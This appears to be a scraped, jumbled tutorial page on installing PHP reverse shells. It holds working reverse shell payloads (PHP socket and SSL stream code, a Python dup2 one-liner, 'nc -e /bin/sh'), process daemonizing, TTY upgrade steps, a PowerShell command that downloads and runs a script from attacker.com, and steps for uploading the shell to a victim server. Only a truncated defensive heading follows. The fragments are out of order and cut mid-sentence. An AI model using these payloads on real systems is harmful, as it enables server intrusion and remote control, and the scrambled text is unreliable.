Php Install: Reverse Shell

fclose($sock);

$context = stream_context_create(['ssl' => ['verify_peer' => false]]); $sock = stream_socket_client('ssl://10.0.0.5:4444', $errno, $errstr, 30, STREAM_CLIENT_CONNECT, $context); Listener side (using openssl ): reverse shell php install

$ip = '10.0.0.5'; $port = 9001; Remove comments to shrink size (avoid file size limits). nc -lvnp 9001 Step 3 – Upload the Script Use curl or a browser POST request: From the Reverse Shell (Linux): python3 -c 'import pty;pty

exec('python -c \'import socket,subprocess,os;s=socket.socket();s.connect(("10.0.0.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);\''); To avoid network sniffing, wrap the shell in SSL (using openssl or a PHP stream context): $context = stream_context_create(['ssl' =&gt

// Fork the process to background (daemonize) for Linux if (function_exists('pcntl_fork')) $pid = pcntl_fork(); if ($pid == -1) die("Could not fork"); else if ($pid) // Parent process exits exit(0);

`nc -e /bin/sh 10.0.0.5 4444`; Raw netcat shells are brittle. Upgrade to a fully interactive TTY. From the Reverse Shell (Linux): python3 -c 'import pty;pty.spawn("/bin/bash")' export TERM=xterm # Press Ctrl+Z to background stty raw -echo; fg reset For Windows: powershell -Command "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/Invoke-PowerShellTcp.ps1')" Part 8: Defending Against PHP Reverse Shells (Blue Team) If you are securing a web server, here is how to block the "reverse shell php install." 1. Disable Dangerous PHP Functions Edit php.ini :

curl http://victim.com/uploads/rev_shell.php Your netcat listener instantly shows: